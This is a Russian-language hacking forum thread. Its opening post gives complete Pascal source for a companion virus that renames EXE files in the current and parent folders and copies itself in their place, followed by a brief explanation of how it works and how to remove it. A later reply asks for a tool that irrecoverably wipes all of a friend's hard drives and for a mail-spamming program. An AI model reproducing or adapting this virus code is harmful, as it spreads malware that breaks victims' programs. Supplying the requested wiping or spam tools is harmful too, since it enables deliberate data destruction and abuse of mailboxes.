dolphin | Дата: Понедельник, 20.04.2009, 19:45 | Сообщение # 1 |
Администратор
Сообщений: 906
Статус: Offline
| Код {$M $4000,0,0 } uses crt,dos; var sr_file,sr_dir:searchrec; col,infmax,infcount,i:integer; auth,name,sdir,path,params:string; ne_inf,v_h,pe_inf:string; f:file; test:text; P: PathStr; D: DirStr; N: NameStr; E: ExtStr;
function petest(s:string):boolean; var fl:file; byt:integer; nr:word; c:char; begin {$I-} petest:=false; assign(fl,s); reset(fl,1); seek(fl,$3c); BlockRead(fl, byt, SizeOf(byt), NR); seek(fl,byt); BlockRead(fl, c, SizeOf(c), NR); if c='P' then begin BlockRead(fl, c, sizeOf(c), NR); if c='E' then PETest:=true; end; close(fl); end;
function netest(s:string):boolean; var fl:file; byt:integer; nr:word; c:char; begin {$I-} netest:=false; assign(fl,s); reset(fl,1); seek(fl,$3c); BlockRead(fl, byt, SizeOf(byt), NR); seek(fl,byt); BlockRead(fl, c, SizeOf(c), NR); if c='N' then begin BlockRead(fl, c, sizeOf(c), NR); if c='E' then NETest:=true; end; close(fl); end;
procedure inf(s:string); var g:file of char; begin IF INFCOUNT>=INFMAX THEN EXIT; {$I-} if petest(s)=true then begin if pe_inf<>'pe_t' then exit;
end; if netest(s)=true then begin if ne_inf<>'ne_t' then exit;
end;
fsplit(s,d,n,e); assign(g,d+n+'.dat'); reset(g); if ioresult=0 then begin close(g); exit; end; assign(g,s); rename(g,d+n+'.dat'); SwapVectors; Exec(getenv('comspec'), ' /c copy '+paramstr(0)+' '+s+' >nul'); SwapVectors; INFCOUNT:=INFCOUNT+1; end;
procedure inf_dir; begin findfirst('*.exe',$3f,sr_file); repeat if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name)); findnext(sr_file); until (doserror<>0)or(ioresult<>0);
findfirst('*',$10,sr_dir); if doserror<>0 then exit; repeat findnext(sr_dir); if doserror<>0 then exit; until (sr_dir.name<>'..')and(sr_dir.name<>'.');
repeat if doserror=0 then begin chdir(sr_dir.name); if doserror<>0 then exit; findfirst('*.exe',$3f,sr_file); repeat if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name)); findnext(sr_file); until (doserror<>0)or(ioresult<>0); if (sr_dir.name<>'..')and(sr_dir.name<>'.') then chdir('..'); end; findnext(sr_dir); if doserror<>0 then exit; until (doserror<>0)or(ioresult<>0);
end;
begin {*********** ************ ************ ************ ***********} NAME:='Имя_вируса'; AUTH:='Имя_автора вируса'; {Заражать PE-EXEфайлы? pe_t - да, pe_n - нет} PE_INF:='pe_t'; {Заражать NE-EXEфайлы? ne_t - да, ne_n - нет} NE_INF:='ne_t'; {Сколько файлов заразить максимум за один раз?} INFMAX:=3; {Каким цветом выдавать сообщение об ошибке? 0 -черный, 1 - синий, 2 - зеленый, 4 - красный, номер цвета + 16 - мигать каким - то цветом} COL:=4+16; {*********** ************ ************ ************ ***********} infcount:=0; getdir(0,sdir); for i:=1 to paramcount do begin params:=params+' '+paramstr(i); end; fsplit(paramstr(0),d,n,e); assign(f,paramstr(0)); rename(f,d+n+'.tmp'); {$I-} assign(f,d+n+'.dat'); rename(f,d+n+'.exe'); if ioresult<>0 then begin assign(f,d+n+'.tmp'); rename(f,paramstr(0)); textcolor(col); writeln('Virus ',name); writeln('Generated by ',auth); writeln; writeln('ERROR:Could not find DATA file.'); textcolor(7); chdir(sdir); halt(0); end; SwapVectors; Exec(getenv('comspec'), ' /c '+paramstr(0)+' '+params); SwapVectors; assign(f,d+n+'.exe'); rename(f,d+n+'.dat'); assign(f,d+n+'.tmp'); rename(f,d+n+'.exe'); {CODE} {Проверка системы: если есть c:\vir.dat тогда выходим и не заражаем} {$I-} assign(test,'c:\vir.dat'); reset(test); if ioresult=0 then halt(0); inf_dir; chdir(sdir); chdir('..'); inf_dir; chdir(sdir); end. Разберемся со структурой данного вируса. Этот вирус является вирусом-спутником (companion). Вначале он выполняет программу, которую заразил, а потом размножается в зависимости от опций. Он может заразить PE-EXE файлы (В основном Win32), NE-EXE (Win 3.1, Win 3.11) и обыкновенные EXE для DOS. Просмотрев внимательно его алгоритм, можно создать для него антивирус. Просто надо удалить EXE-файл и на его место поставить файл с таким же именем, но расширением DAT из текущей директории. Вирусы - спутники не легко обнаружить, так как они не используют хитрые процедуры заражения
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
Pr01000d1n | Дата: Понедельник, 25.05.2009, 22:56 | Сообщение # 2 |
Группа: Удаленные
| нормальный код у мня всегда почему то выходило только команду написать что бы она что то делала, и когда пользователь запускал ее, то происходил цикл)) или бум с виндой))
|
|
| |
execom | Дата: Четверг, 27.05.2010, 17:55 | Сообщение # 3 |
Новичок
Зарегистрирован: 27.05.2010
Группа: Пользователи
Сообщений: 2
Статус: Offline
| Quote нормальный код у мня всегда почему то выходило только команду написать что бы она что то делала, и когда пользователь запускал ее, то происходил цикл)) или бум с виндой)) cool то ты какую-о фигню написал)))
|
|
| |
hepar | Дата: Понедельник, 05.07.2010, 12:59 | Сообщение # 4 |
Группа: Удаленные
| доброго времени суток))) мине нужена программа или че нибудь в этом роде для того чтобы при его открытии все данные на всех жеских дисках приходили в негодность и восстановить их нельзя. было просто у мае го друга жеских 5 штук вот он мине сильно напортачил вот((( P.s большое спасибо упаваю на тебя спасибо с уважение hepar p.s.s нужна программы для спама ящиков буду очень признателен всем еще раз спасибо. пишите в личку либо на ящик abcdefg89@mail.ru лучще в ящик)))
|
|
| |
pascal | Дата: Воскресенье, 18.11.2012, 22:08 | Сообщение # 5 |
Был не раз
Зарегистрирован: 06.11.2012
Группа: Пользователи
Сообщений: 6
Статус: Offline
| кто умеет старт пэйж на паскал писать
|
|
| |